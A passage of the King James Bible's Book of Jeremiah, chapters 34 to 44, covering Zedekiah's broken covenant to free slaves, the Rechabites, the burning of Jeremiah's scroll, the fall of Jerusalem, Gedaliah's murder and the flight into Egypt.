king of Babylon, and he shall speak with thee mouth to mouth, and +thou shalt go to Babylon. + +34:4 Yet hear the word of the LORD, O Zedekiah king of Judah; Thus +saith the LORD of thee, Thou shalt not die by the sword: 34:5 But thou +shalt die in peace: and with the burnings of thy fathers, the former +kings which were before thee, so shall they burn odours for thee; and +they will lament thee, saying, Ah lord! for I have pronounced the +word, saith the LORD. + +34:6 Then Jeremiah the prophet spake all these words unto Zedekiah +king of Judah in Jerusalem, 34:7 When the king of Babylon's army +fought against Jerusalem, and against all the cities of Judah that +were left, against Lachish, and against Azekah: for these defenced +cities remained of the cities of Judah. + +34:8 This is the word that came unto Jeremiah from the LORD, after +that the king Zedekiah had made a covenant with all the people which +were at Jerusalem, to proclaim liberty unto them; 34:9 That every man +should let his manservant, and every man his maidservant, being an +Hebrew or an Hebrewess, go free; that none should serve himself of +them, to wit, of a Jew his brother. + +34:10 Now when all the princes, and all the people, which had entered +into the covenant, heard that every one should let his manservant, and +every one his maidservant, go free, that none should serve themselves +of them any more, then they obeyed, and let them go. + +34:11 But afterward they turned, and caused the servants and the +handmaids, whom they had let go free, to return, and brought them into +subjection for servants and for handmaids. + +34:12 Therefore the word of the LORD came to Jeremiah from the LORD, +saying, 34:13 Thus saith the LORD, the God of Israel; I made a +covenant with your fathers in the day that I brought them forth out of +the land of Egypt, out of the house of bondmen, saying, 34:14 At the +end of seven years let ye go every man his brother an Hebrew, which +hath been sold unto thee; and when he hath served thee six years, thou +shalt let him go free from thee: but your fathers hearkened not unto +me, neither inclined their ear. + +34:15 And ye were now turned, and had done right in my sight, in +proclaiming liberty every man to his neighbour; and ye had made a +covenant before me in the house which is called by my name: 34:16 But +ye turned and polluted my name, and caused every man his servant, and +every man his handmaid, whom ye had set at liberty at their pleasure, +to return, and brought them into subjection, to be unto you for +servants and for handmaids. + +34:17 Therefore thus saith the LORD; Ye have not hearkened unto me, in +proclaiming liberty, every one to his brother, and every man to his +neighbour: behold, I proclaim a liberty for you, saith the LORD, to +the sword, to the pestilence, and to the famine; and I will make you +to be removed into all the kingdoms of the earth. + +34:18 And I will give the men that have transgressed my covenant, +which have not performed the words of the covenant which they had made +before me, when they cut the calf in twain, and passed between the +parts thereof, 34:19 The princes of Judah, and the princes of +Jerusalem, the eunuchs, and the priests, and all the people of the +land, which passed between the parts of the calf; 34:20 I will even +give them into the hand of their enemies, and into the hand of them +that seek their life: and their dead bodies shall be for meat unto the +fowls of the heaven, and to the beasts of the earth. + +34:21 And Zedekiah king of Judah and his princes will I give into the +hand of their enemies, and into the hand of them that seek their life, +and into the hand of the king of Babylon's army, which are gone up +from you. + +34:22 Behold, I will command, saith the LORD, and cause them to return +to this city; and they shall fight against it, and take it, and burn +it with fire: and I will make the cities of Judah a desolation without +an inhabitant. + +35:1 The word which came unto Jeremiah from the LORD in the days of +Jehoiakim the son of Josiah king of Judah, saying, 35:2 Go unto the +house of the Rechabites, and speak unto them, and bring them into the +house of the LORD, into one of the chambers, and give them wine to +drink. + +35:3 Then I took Jaazaniah the son of Jeremiah, the son of Habaziniah, +and his brethren, and all his sons, and the whole house of the +Rechabites; 35:4 And I brought them into the house of the LORD, into +the chamber of the sons of Hanan, the son of Igdaliah, a man of God, +which was by the chamber of the princes, which was above the chamber +of Maaseiah the son of Shallum, the keeper of the door: 35:5 And I set +before the sons of the house of the Rechabites pots full of wine, and +cups, and I said unto them, Drink ye wine. + +35:6 But they said, We will drink no wine: for Jonadab the son of +Rechab our father commanded us, saying, Ye shall drink no wine, +neither ye, nor your sons for ever: 35:7 Neither shall ye build house, +nor sow seed, nor plant vineyard, nor have any: but all your days ye +shall dwell in tents; that ye may live many days in the land where ye +be strangers. + +35:8 Thus have we obeyed the voice of Jonadab the son of Rechab our +father in all that he hath charged us, to drink no wine all our days, +we, our wives, our sons, nor our daughters; 35:9 Nor to build houses +for us to dwell in: neither have we vineyard, nor field, nor seed: +35:10 But we have dwelt in tents, and have obeyed, and done according +to all that Jonadab our father commanded us. + +35:11 But it came to pass, when Nebuchadrezzar king of Babylon came up +into the land, that we said, Come, and let us go to Jerusalem for fear +of the army of the Chaldeans, and for fear of the army of the Syrians: +so we dwell at Jerusalem. + +35:12 Then came the word of the LORD unto Jeremiah, saying, 35:13 Thus +saith the LORD of hosts, the God of Israel; Go and tell the men of +Judah and the inhabitants of Jerusalem, Will ye not receive +instruction to hearken to my words? saith the LORD. + +35:14 The words of Jonadab the son of Rechab, that he commanded his +sons not to drink wine, are performed; for unto this day they drink +none, but obey their father's commandment: notwithstanding I have +spoken unto you, rising early and speaking; but ye hearkened not unto +me. + +35:15 I have sent also unto you all my servants the prophets, rising +up early and sending them, saying, Return ye now every man from his +evil way, and amend your doings, and go not after other gods to serve +them, and ye shall dwell in the land which I have given to you and to +your fathers: but ye have not inclined your ear, nor hearkened unto +me. + +35:16 Because the sons of Jonadab the son of Rechab have performed the +commandment of their father, which he commanded them; but this people +hath not hearkened unto me: 35:17 Therefore thus saith the LORD God of +hosts, the God of Israel; Behold, I will bring upon Judah and upon all +the inhabitants of Jerusalem all the evil that I have pronounced +against them: because I have spoken unto them, but they have not +heard; and I have called unto them, but they have not answered. + +35:18 And Jeremiah said unto the house of the Rechabites, Thus saith +the LORD of hosts, the God of Israel; Because ye have obeyed the +commandment of Jonadab your father, and kept all his precepts, and +done according unto all that he hath commanded you: 35:19 Therefore +thus saith the LORD of hosts, the God of Israel; Jonadab the son of +Rechab shall not want a man to stand before me for ever. + +36:1 And it came to pass in the fourth year of Jehoiakim the son of +Josiah king of Judah, that this word came unto Jeremiah from the LORD, +saying, 36:2 Take thee a roll of a book, and write therein all the +words that I have spoken unto thee against Israel, and against Judah, +and against all the nations, from the day I spake unto thee, from the +days of Josiah, even unto this day. + +36:3 It may be that the house of Judah will hear all the evil which I +purpose to do unto them; that they may return every man from his evil +way; that I may forgive their iniquity and their sin. + +36:4 Then Jeremiah called Baruch the son of Neriah: and Baruch wrote +from the mouth of Jeremiah all the words of the LORD, which he had +spoken unto him, upon a roll of a book. + +36:5 And Jeremiah commanded Baruch, saying, I am shut up; I cannot go +into the house of the LORD: 36:6 Therefore go thou, and read in the +roll, which thou hast written from my mouth, the words of the LORD in +the ears of the people in the LORD's house upon the fasting day: and +also thou shalt read them in the ears of all Judah that come out of +their cities. + +36:7 It may be they will present their supplication before the LORD, +and will return every one from his evil way: for great is the anger +and the fury that the LORD hath pronounced against this people. + +36:8 And Baruch the son of Neriah did according to all that Jeremiah +the prophet commanded him, reading in the book the words of the LORD +in the LORD's house. + +36:9 And it came to pass in the fifth year of Jehoiakim the son of +Josiah king of Judah, in the ninth month, that they proclaimed a fast +before the LORD to all the people in Jerusalem, and to all the people +that came from the cities of Judah unto Jerusalem. + +36:10 Then read Baruch in the book the words of Jeremiah in the house +of the LORD, in the chamber of Gemariah the son of Shaphan the scribe, +in the higher court, at the entry of the new gate of the LORD's house, +in the ears of all the people. + +36:11 When Michaiah the son of Gemariah, the son of Shaphan, had heard +out of the book all the words of the LORD, 36:12 Then he went down +into the king's house, into the scribe's chamber: and, lo, all the +princes sat there, even Elishama the scribe, and Delaiah the son of +Shemaiah, and Elnathan the son of Achbor, and Gemariah the son of +Shaphan, and Zedekiah the son of Hananiah, and all the princes. + +36:13 Then Michaiah declared unto them all the words that he had +heard, when Baruch read the book in the ears of the people. + +36:14 Therefore all the princes sent Jehudi the son of Nethaniah, the +son of Shelemiah, the son of Cushi, unto Baruch, saying, Take in thine +hand the roll wherein thou hast read in the ears of the people, and +come. So Baruch the son of Neriah took the roll in his hand, and came +unto them. + +36:15 And they said unto him, Sit down now, and read it in our ears. +So Baruch read it in their ears. + +36:16 Now it came to pass, when they had heard all the words, they +were afraid both one and other, and said unto Baruch, We will surely +tell the king of all these words. + +36:17 And they asked Baruch, saying, Tell us now, How didst thou write +all these words at his mouth? 36:18 Then Baruch answered them, He +pronounced all these words unto me with his mouth, and I wrote them +with ink in the book. + +36:19 Then said the princes unto Baruch, Go, hide thee, thou and +Jeremiah; and let no man know where ye be. + +36:20 And they went in to the king into the court, but they laid up +the roll in the chamber of Elishama the scribe, and told all the words +in the ears of the king. + +36:21 So the king sent Jehudi to fetch the roll: and he took it out of +Elishama the scribe's chamber. And Jehudi read it in the ears of the +king, and in the ears of all the princes which stood beside the king. + +36:22 Now the king sat in the winterhouse in the ninth month: and +there was a fire on the hearth burning before him. + +36:23 And it came to pass, that when Jehudi had read three or four +leaves, he cut it with the penknife, and cast it into the fire that +was on the hearth, until all the roll was consumed in the fire that +was on the hearth. + +36:24 Yet they were not afraid, nor rent their garments, neither the +king, nor any of his servants that heard all these words. + +36:25 Nevertheless Elnathan and Delaiah and Gemariah had made +intercession to the king that he would not burn the roll: but he would +not hear them. + +36:26 But the king commanded Jerahmeel the son of Hammelech, and +Seraiah the son of Azriel, and Shelemiah the son of Abdeel, to take +Baruch the scribe and Jeremiah the prophet: but the LORD hid them. + +36:27 Then the word of the LORD came to Jeremiah, after that the king +had burned the roll, and the words which Baruch wrote at the mouth of +Jeremiah, saying, 36:28 Take thee again another roll, and write in it +all the former words that were in the first roll, which Jehoiakim the +king of Judah hath burned. + +36:29 And thou shalt say to Jehoiakim king of Judah, Thus saith the +LORD; Thou hast burned this roll, saying, Why hast thou written +therein, saying, The king of Babylon shall certainly come and destroy +this land, and shall cause to cease from thence man and beast? 36:30 +Therefore thus saith the LORD of Jehoiakim king of Judah; He shall +have none to sit upon the throne of David: and his dead body shall be +cast out in the day to the heat, and in the night to the frost. + +36:31 And I will punish him and his seed and his servants for their +iniquity; and I will bring upon them, and upon the inhabitants of +Jerusalem, and upon the men of Judah, all the evil that I have +pronounced against them; but they hearkened not. + +36:32 Then took Jeremiah another roll, and gave it to Baruch the +scribe, the son of Neriah; who wrote therein from the mouth of +Jeremiah all the words of the book which Jehoiakim king of Judah had +burned in the fire: and there were added besides unto them many like +words. + +37:1 And king Zedekiah the son of Josiah reigned instead of Coniah the +son of Jehoiakim, whom Nebuchadrezzar king of Babylon made king in the +land of Judah. + +37:2 But neither he, nor his servants, nor the people of the land, did +hearken unto the words of the LORD, which he spake by the prophet +Jeremiah. + +37:3 And Zedekiah the king sent Jehucal the son of Shelemiah and +Zephaniah the son of Maaseiah the priest to the prophet Jeremiah, +saying, Pray now unto the LORD our God for us. + +37:4 Now Jeremiah came in and went out among the people: for they had +not put him into prison. + +37:5 Then Pharaoh's army was come forth out of Egypt: and when the +Chaldeans that besieged Jerusalem heard tidings of them, they departed +from Jerusalem. + +37:6 Then came the word of the LORD unto the prophet Jeremiah saying, +37:7 Thus saith the LORD, the God of Israel; Thus shall ye say to the +king of Judah, that sent you unto me to enquire of me; Behold, +Pharaoh's army, which is come forth to help you, shall return to Egypt +into their own land. + +37:8 And the Chaldeans shall come again, and fight against this city, +and take it, and burn it with fire. + +37:9 Thus saith the LORD; Deceive not yourselves, saying, The +Chaldeans shall surely depart from us: for they shall not depart. + +37:10 For though ye had smitten the whole army of the Chaldeans that +fight against you, and there remained but wounded men among them, yet +should they rise up every man in his tent, and burn this city with +fire. + +37:11 And it came to pass, that when the army of the Chaldeans was +broken up from Jerusalem for fear of Pharaoh's army, 37:12 Then +Jeremiah went forth out of Jerusalem to go into the land of Benjamin, +to separate himself thence in the midst of the people. + +37:13 And when he was in the gate of Benjamin, a captain of the ward +was there, whose name was Irijah, the son of Shelemiah, the son of +Hananiah; and he took Jeremiah the prophet, saying, Thou fallest away +to the Chaldeans. + +37:14 Then said Jeremiah, It is false; I fall not away to the +Chaldeans. + +But he hearkened not to him: so Irijah took Jeremiah, and brought him +to the princes. + +37:15 Wherefore the princes were wroth with Jeremiah, and smote him, +and put him in prison in the house of Jonathan the scribe: for they +had made that the prison. + +37:16 When Jeremiah was entered into the dungeon, and into the cabins, +and Jeremiah had remained there many days; 37:17 Then Zedekiah the +king sent, and took him out: and the king asked him secretly in his +house, and said, Is there any word from the LORD? And Jeremiah said, +There is: for, said he, thou shalt be delivered into the hand of the +king of Babylon. + +37:18 Moreover Jeremiah said unto king Zedekiah, What have I offended +against thee, or against thy servants, or against this people, that ye +have put me in prison? 37:19 Where are now your prophets which +prophesied unto you, saying, The king of Babylon shall not come +against you, nor against this land? 37:20 Therefore hear now, I pray +thee, O my lord the king: let my supplication, I pray thee, be +accepted before thee; that thou cause me not to return to the house of +Jonathan the scribe, lest I die there. + +37:21 Then Zedekiah the king commanded that they should commit +Jeremiah into the court of the prison, and that they should give him +daily a piece of bread out of the bakers' street, until all the bread +in the city were spent. + +Thus Jeremiah remained in the court of the prison. + +38:1 Then Shephatiah the son of Mattan, and Gedaliah the son of +Pashur, and Jucal the son of Shelemiah, and Pashur the son of +Malchiah, heard the words that Jeremiah had spoken unto all the +people, saying, 38:2 Thus saith the LORD, He that remaineth in this +city shall die by the sword, by the famine, and by the pestilence: but +he that goeth forth to the Chaldeans shall live; for he shall have his +life for a prey, and shall live. + +38:3 Thus saith the LORD, This city shall surely be given into the +hand of the king of Babylon's army, which shall take it. + +38:4 Therefore the princes said unto the king, We beseech thee, let +this man be put to death: for thus he weakeneth the hands of the men +of war that remain in this city, and the hands of all the people, in +speaking such words unto them: for this man seeketh not the welfare of +this people, but the hurt. + +38:5 Then Zedekiah the king said, Behold, he is in your hand: for the +king is not he that can do any thing against you. + +38:6 Then took they Jeremiah, and cast him into the dungeon of +Malchiah the son of Hammelech, that was in the court of the prison: +and they let down Jeremiah with cords. And in the dungeon there was no +water, but mire: so Jeremiah sunk in the mire. + +38:7 Now when Ebedmelech the Ethiopian, one of the eunuchs which was +in the king's house, heard that they had put Jeremiah in the dungeon; +the king then sitting in the gate of Benjamin; 38:8 Ebedmelech went +forth out of the king's house, and spake to the king saying, 38:9 My +lord the king, these men have done evil in all that they have done to +Jeremiah the prophet, whom they have cast into the dungeon; and he is +like to die for hunger in the place where he is: for there is no more +bread in the city. + +38:10 Then the king commanded Ebedmelech the Ethiopian, saying, Take +from hence thirty men with thee, and take up Jeremiah the prophet out +of the dungeon, before he die. + +38:11 So Ebedmelech took the men with him, and went into the house of +the king under the treasury, and took thence old cast clouts and old +rotten rags, and let them down by cords into the dungeon to Jeremiah. + +38:12 And Ebedmelech the Ethiopian said unto Jeremiah, Put now these +old cast clouts and rotten rags under thine armholes under the cords. +And Jeremiah did so. + +38:13 So they drew up Jeremiah with cords, and took him up out of the +dungeon: and Jeremiah remained in the court of the prison. + +38:14 Then Zedekiah the king sent, and took Jeremiah the prophet unto +him into the third entry that is in the house of the LORD: and the +king said unto Jeremiah, I will ask thee a thing; hide nothing from +me. + +38:15 Then Jeremiah said unto Zedekiah, If I declare it unto thee, +wilt thou not surely put me to death? and if I give thee counsel, wilt +thou not hearken unto me? 38:16 So Zedekiah the king sware secretly +unto Jeremiah, saying, As the LORD liveth, that made us this soul, I +will not put thee to death, neither will I give thee into the hand of +these men that seek thy life. + +38:17 Then said Jeremiah unto Zedekiah, Thus saith the LORD, the God +of hosts, the God of Israel; If thou wilt assuredly go forth unto the +king of Babylon's princes, then thy soul shall live, and this city +shall not be burned with fire; and thou shalt live, and thine house: +38:18 But if thou wilt not go forth to the king of Babylon's princes, +then shall this city be given into the hand of the Chaldeans, and they +shall burn it with fire, and thou shalt not escape out of their hand. + +38:19 And Zedekiah the king said unto Jeremiah, I am afraid of the +Jews that are fallen to the Chaldeans, lest they deliver me into their +hand, and they mock me. + +38:20 But Jeremiah said, They shall not deliver thee. Obey, I beseech +thee, the voice of the LORD, which I speak unto thee: so it shall be +well unto thee, and thy soul shall live. + +38:21 But if thou refuse to go forth, this is the word that the LORD +hath shewed me: 38:22 And, behold, all the women that are left in the +king of Judah's house shall be brought forth to the king of Babylon's +princes, and those women shall say, Thy friends have set thee on, and +have prevailed against thee: thy feet are sunk in the mire, and they +are turned away back. + +38:23 So they shall bring out all thy wives and thy children to the +Chaldeans: and thou shalt not escape out of their hand, but shalt be +taken by the hand of the king of Babylon: and thou shalt cause this +city to be burned with fire. + +38:24 Then said Zedekiah unto Jeremiah, Let no man know of these +words, and thou shalt not die. + +38:25 But if the princes hear that I have talked with thee, and they +come unto thee, and say unto thee, Declare unto us now what thou hast +said unto the king, hide it not from us, and we will not put thee to +death; also what the king said unto thee: 38:26 Then thou shalt say +unto them, I presented my supplication before the king, that he would +not cause me to return to Jonathan's house, to die there. + +38:27 Then came all the princes unto Jeremiah, and asked him: and he +told them according to all these words that the king had commanded. So +they left off speaking with him; for the matter was not perceived. + +38:28 So Jeremiah abode in the court of the prison until the day that +Jerusalem was taken: and he was there when Jerusalem was taken. + +39:1 In the ninth year of Zedekiah king of Judah, in the tenth month, +came Nebuchadrezzar king of Babylon and all his army against +Jerusalem, and they besieged it. + +39:2 And in the eleventh year of Zedekiah, in the fourth month, the +ninth day of the month, the city was broken up. + +39:3 And all the princes of the king of Babylon came in, and sat in +the middle gate, even Nergalsharezer, Samgarnebo, Sarsechim, Rabsaris, +Nergalsharezer, Rabmag, with all the residue of the princes of the +king of Babylon. + +39:4 And it came to pass, that when Zedekiah the king of Judah saw +them, and all the men of war, then they fled, and went forth out of +the city by night, by the way of the king's garden, by the gate +betwixt the two walls: and he went out the way of the plain. + +39:5 But the Chaldeans' army pursued after them, and overtook Zedekiah +in the plains of Jericho: and when they had taken him, they brought +him up to Nebuchadnezzar king of Babylon to Riblah in the land of +Hamath, where he gave judgment upon him. + +39:6 Then the king of Babylon slew the sons of Zedekiah in Riblah +before his eyes: also the king of Babylon slew all the nobles of +Judah. + +39:7 Moreover he put out Zedekiah's eyes, and bound him with chains, +to carry him to Babylon. + +39:8 And the Chaldeans burned the king's house, and the houses of the +people, with fire, and brake down the walls of Jerusalem. + +39:9 Then Nebuzaradan the captain of the guard carried away captive +into Babylon the remnant of the people that remained in the city, and +those that fell away, that fell to him, with the rest of the people +that remained. + +39:10 But Nebuzaradan the captain of the guard left of the poor of the +people, which had nothing, in the land of Judah, and gave them +vineyards and fields at the same time. + +39:11 Now Nebuchadrezzar king of Babylon gave charge concerning +Jeremiah to Nebuzaradan the captain of the guard, saying, 39:12 Take +him, and look well to him, and do him no harm; but do unto him even as +he shall say unto thee. + +39:13 So Nebuzaradan the captain of the guard sent, and Nebushasban, +Rabsaris, and Nergalsharezer, Rabmag, and all the king of Babylon's +princes; 39:14 Even they sent, and took Jeremiah out of the court of +the prison, and committed him unto Gedaliah the son of Ahikam the son +of Shaphan, that he should carry him home: so he dwelt among the +people. + +39:15 Now the word of the LORD came unto Jeremiah, while he was shut +up in the court of the prison, saying, 39:16 Go and speak to +Ebedmelech the Ethiopian, saying, Thus saith the LORD of hosts, the +God of Israel; Behold, I will bring my words upon this city for evil, +and not for good; and they shall be accomplished in that day before +thee. + +39:17 But I will deliver thee in that day, saith the LORD: and thou +shalt not be given into the hand of the men of whom thou art afraid. + +39:18 For I will surely deliver thee, and thou shalt not fall by the +sword, but thy life shall be for a prey unto thee: because thou hast +put thy trust in me, saith the LORD. + +40:1 The word that came to Jeremiah from the LORD, after that +Nebuzaradan the captain of the guard had let him go from Ramah, when +he had taken him being bound in chains among all that were carried +away captive of Jerusalem and Judah, which were carried away captive +unto Babylon. + +40:2 And the captain of the guard took Jeremiah, and said unto him, +The LORD thy God hath pronounced this evil upon this place. + +40:3 Now the LORD hath brought it, and done according as he hath said: +because ye have sinned against the LORD, and have not obeyed his +voice, therefore this thing is come upon you. + +40:4 And now, behold, I loose thee this day from the chains which were +upon thine hand. If it seem good unto thee to come with me into +Babylon, come; and I will look well unto thee: but if it seem ill unto +thee to come with me into Babylon, forbear: behold, all the land is +before thee: whither it seemeth good and convenient for thee to go, +thither go. + +40:5 Now while he was not yet gone back, he said, Go back also to +Gedaliah the son of Ahikam the son of Shaphan, whom the king of +Babylon hath made governor over the cities of Judah, and dwell with +him among the people: or go wheresoever it seemeth convenient unto +thee to go. So the captain of the guard gave him victuals and a +reward, and let him go. + +40:6 Then went Jeremiah unto Gedaliah the son of Ahikam to Mizpah; and +dwelt with him among the people that were left in the land. + +40:7 Now when all the captains of the forces which were in the fields, +even they and their men, heard that the king of Babylon had made +Gedaliah the son of Ahikam governor in the land, and had committed +unto him men, and women, and children, and of the poor of the land, of +them that were not carried away captive to Babylon; 40:8 Then they +came to Gedaliah to Mizpah, even Ishmael the son of Nethaniah, and +Johanan and Jonathan the sons of Kareah, and Seraiah the son of +Tanhumeth, and the sons of Ephai the Netophathite, and Jezaniah the +son of a Maachathite, they and their men. + +40:9 And Gedaliah the son of Ahikam the son of Shaphan sware unto them +and to their men, saying, Fear not to serve the Chaldeans: dwell in +the land, and serve the king of Babylon, and it shall be well with +you. + +40:10 As for me, behold, I will dwell at Mizpah, to serve the +Chaldeans, which will come unto us: but ye, gather ye wine, and summer +fruits, and oil, and put them in your vessels, and dwell in your +cities that ye have taken. + +40:11 Likewise when all the Jews that were in Moab, and among the +Ammonites, and in Edom, and that were in all the countries, heard that +the king of Babylon had left a remnant of Judah, and that he had set +over them Gedaliah the son of Ahikam the son of Shaphan; 40:12 Even +all the Jews returned out of all places whither they were driven, and +came to the land of Judah, to Gedaliah, unto Mizpah, and gathered wine +and summer fruits very much. + +40:13 Moreover Johanan the son of Kareah, and all the captains of the +forces that were in the fields, came to Gedaliah to Mizpah, 40:14 And +said unto him, Dost thou certainly know that Baalis the king of the +Ammonites hath sent Ishmael the son of Nethaniah to slay thee? But +Gedaliah the son of Ahikam believed them not. + +40:15 Then Johanan the son of Kareah spake to Gedaliah in Mizpah +secretly saying, Let me go, I pray thee, and I will slay Ishmael the +son of Nethaniah, and no man shall know it: wherefore should he slay +thee, that all the Jews which are gathered unto thee should be +scattered, and the remnant in Judah perish? 40:16 But Gedaliah the +son of Ahikam said unto Johanan the son of Kareah, Thou shalt not do +this thing: for thou speakest falsely of Ishmael. + +41:1 Now it came to pass in the seventh month, that Ishmael the son of +Nethaniah the son of Elishama, of the seed royal, and the princes of +the king, even ten men with him, came unto Gedaliah the son of Ahikam +to Mizpah; and there they did eat bread together in Mizpah. + +41:2 Then arose Ishmael the son of Nethaniah, and the ten men that +were with him, and smote Gedaliah the son of Ahikam the son of Shaphan +with the sword, and slew him, whom the king of Babylon had made +governor over the land. + +41:3 Ishmael also slew all the Jews that were with him, even with +Gedaliah, at Mizpah, and the Chaldeans that were found there, and the +men of war. + +41:4 And it came to pass the second day after he had slain Gedaliah, +and no man knew it, 41:5 That there came certain from Shechem, from +Shiloh, and from Samaria, even fourscore men, having their beards +shaven, and their clothes rent, and having cut themselves, with +offerings and incense in their hand, to bring them to the house of the +LORD. + +41:6 And Ishmael the son of Nethaniah went forth from Mizpah to meet +them, weeping all along as he went: and it came to pass, as he met +them, he said unto them, Come to Gedaliah the son of Ahikam. + +41:7 And it was so, when they came into the midst of the city, that +Ishmael the son of Nethaniah slew them, and cast them into the midst +of the pit, he, and the men that were with him. + +41:8 But ten men were found among them that said unto Ishmael, Slay us +not: for we have treasures in the field, of wheat, and of barley, and +of oil, and of honey. So he forbare, and slew them not among their +brethren. + +41:9 Now the pit wherein Ishmael had cast all the dead bodies of the +men, whom he had slain because of Gedaliah, was it which Asa the king +had made for fear of Baasha king of Israel: and Ishmael the son of +Nethaniah filled it with them that were slain. + +41:10 Then Ishmael carried away captive all the residue of the people +that were in Mizpah, even the king's daughters, and all the people +that remained in Mizpah, whom Nebuzaradan the captain of the guard had +committed to Gedaliah the son of Ahikam: and Ishmael the son of +Nethaniah carried them away captive, and departed to go over to the +Ammonites. + +41:11 But when Johanan the son of Kareah, and all the captains of the +forces that were with him, heard of all the evil that Ishmael the son +of Nethaniah had done, 41:12 Then they took all the men, and went to +fight with Ishmael the son of Nethaniah, and found him by the great +waters that are in Gibeon. + +41:13 Now it came to pass, that when all the people which were with +Ishmael saw Johanan the son of Kareah, and all the captains of the +forces that were with him, then they were glad. + +41:14 So all the people that Ishmael had carried away captive from +Mizpah cast about and returned, and went unto Johanan the son of +Kareah. + +41:15 But Ishmael the son of Nethaniah escaped from Johanan with eight +men, and went to the Ammonites. + +41:16 Then took Johanan the son of Kareah, and all the captains of the +forces that were with him, all the remnant of the people whom he had +recovered from Ishmael the son of Nethaniah, from Mizpah, after that +he had slain Gedaliah the son of Ahikam, even mighty men of war, and +the women, and the children, and the eunuchs, whom he had brought +again from Gibeon: 41:17 And they departed, and dwelt in the +habitation of Chimham, which is by Bethlehem, to go to enter into +Egypt, 41:18 Because of the Chaldeans: for they were afraid of them, +because Ishmael the son of Nethaniah had slain Gedaliah the son of +Ahikam, whom the king of Babylon made governor in the land. + +42:1 Then all the captains of the forces, and Johanan the son of +Kareah, and Jezaniah the son of Hoshaiah, and all the people from the +least even unto the greatest, came near, 42:2 And said unto Jeremiah +the prophet, Let, we beseech thee, our supplication be accepted before +thee, and pray for us unto the LORD thy God, even for all this +remnant; (for we are left but a few of many, as thine eyes do behold +us:) 42:3 That the LORD thy God may shew us the way wherein we may +walk, and the thing that we may do. + +42:4 Then Jeremiah the prophet said unto them, I have heard you; +behold, I will pray unto the LORD your God according to your words; +and it shall come to pass, that whatsoever thing the LORD shall answer +you, I will declare it unto you; I will keep nothing back from you. + +42:5 Then they said to Jeremiah, The LORD be a true and faithful +witness between us, if we do not even according to all things for the +which the LORD thy God shall send thee to us. + +42:6 Whether it be good, or whether it be evil, we will obey the voice +of the LORD our God, to whom we send thee; that it may be well with +us, when we obey the voice of the LORD our God. + +42:7 And it came to pass after ten days, that the word of the LORD +came unto Jeremiah. + +42:8 Then called he Johanan the son of Kareah, and all the captains of +the forces which were with him, and all the people from the least even +to the greatest, 42:9 And said unto them, Thus saith the LORD, the God +of Israel, unto whom ye sent me to present your supplication before +him; 42:10 If ye will still abide in this land, then will I build you, +and not pull you down, and I will plant you, and not pluck you up: for +I repent me of the evil that I have done unto you. + +42:11 Be not afraid of the king of Babylon, of whom ye are afraid; be +not afraid of him, saith the LORD: for I am with you to save you, and +to deliver you from his hand. + +42:12 And I will shew mercies unto you, that he may have mercy upon +you, and cause you to return to your own land. + +42:13 But if ye say, We will not dwell in this land, neither obey the +voice of the LORD your God, 42:14 Saying, No; but we will go into the +land of Egypt, where we shall see no war, nor hear the sound of the +trumpet, nor have hunger of bread; and there will we dwell: 42:15 And +now therefore hear the word of the LORD, ye remnant of Judah; Thus +saith the LORD of hosts, the God of Israel; If ye wholly set your +faces to enter into Egypt, and go to sojourn there; 42:16 Then it +shall come to pass, that the sword, which ye feared, shall overtake +you there in the land of Egypt, and the famine, whereof ye were +afraid, shall follow close after you there in Egypt; and there ye +shall die. + +42:17 So shall it be with all the men that set their faces to go into +Egypt to sojourn there; they shall die by the sword, by the famine, +and by the pestilence: and none of them shall remain or escape from +the evil that I will bring upon them. + +42:18 For thus saith the LORD of hosts, the God of Israel; As mine +anger and my fury hath been poured forth upon the inhabitants of +Jerusalem; so shall my fury be poured forth upon you, when ye shall +enter into Egypt: and ye shall be an execration, and an astonishment, +and a curse, and a reproach; and ye shall see this place no more. + +42:19 The LORD hath said concerning you, O ye remnant of Judah; Go ye +not into Egypt: know certainly that I have admonished you this day. + +42:20 For ye dissembled in your hearts, when ye sent me unto the LORD +your God, saying, Pray for us unto the LORD our God; and according +unto all that the LORD our God shall say, so declare unto us, and we +will do it. + +42:21 And now I have this day declared it to you; but ye have not +obeyed the voice of the LORD your God, nor any thing for the which he +hath sent me unto you. + +42:22 Now therefore know certainly that ye shall die by the sword, by +the famine, and by the pestilence, in the place whither ye desire to +go and to sojourn. + +43:1 And it came to pass, that when Jeremiah had made an end of +speaking unto all the people all the words of the LORD their God, for +which the LORD their God had sent him to them, even all these words, +43:2 Then spake Azariah the son of Hoshaiah, and Johanan the son of +Kareah, and all the proud men, saying unto Jeremiah, Thou speakest +falsely: the LORD our God hath not sent thee to say, Go not into Egypt +to sojourn there: 43:3 But Baruch the son of Neriah setteth thee on +against us, for to deliver us into the hand of the Chaldeans, that +they might put us to death, and carry us away captives into Babylon. + +43:4 So Johanan the son of Kareah, and all the captains of the forces, +and all the people, obeyed not the voice of the LORD, to dwell in the +land of Judah. + +43:5 But Johanan the son of Kareah, and all the captains of the +forces, took all the remnant of Judah, that were returned from all +nations, whither they had been driven, to dwell in the land of Judah; +43:6 Even men, and women, and children, and the king's daughters, and +every person that Nebuzaradan the captain of the guard had left with +Gedaliah the son of Ahikam the son of Shaphan, and Jeremiah the +prophet, and Baruch the son of Neriah. + +43:7 So they came into the land of Egypt: for they obeyed not the +voice of the LORD: thus came they even to Tahpanhes. + +43:8 Then came the word of the LORD unto Jeremiah in Tahpanhes, +saying, 43:9 Take great stones in thine hand, and hide them in the +clay in the brickkiln, which is at the entry of Pharaoh's house in +Tahpanhes, in the sight of the men of Judah; 43:10 And say unto them, +Thus saith the LORD of hosts, the God of Israel; Behold, I will send +and take Nebuchadrezzar the king of Babylon, my servant, and will set +his throne upon these stones that I have hid; and he shall spread his +royal pavilion over them. + +43:11 And when he cometh, he shall smite the land of Egypt, and +deliver such as are for death to death; and such as are for captivity +to captivity; and such as are for the sword to the sword. + +43:12 And I will kindle a fire in the houses of the gods of Egypt; and +he shall burn them, and carry them away captives: and he shall array +himself with the land of Egypt, as a shepherd putteth on his garment; +and he shall go forth from thence in peace. + +43:13 He shall break also the images of Bethshemesh, that is in the +land of Egypt; and the houses of the gods of the Egyptians shall he +burn with fire. + +44:1 The word that came to Jeremiah concerning all the Jews which +dwell in the land of Egypt, which dwell at Migdol, and at Tahpanhes, +and at Noph, and in the country of Pathros, saying, 44:2 Thus saith +the LORD of hosts, the God of Israel; Ye have seen all the evil that I +have brought upon Jerusalem, and upon all the cities of Judah; and, +behold, this day they are a desolation, and no man dwelleth therein, +44:3 Because of their wickedness which they have committed to provoke +me to anger, in that they went to burn incense, and to serve other +gods, whom they knew not, neither they, ye, 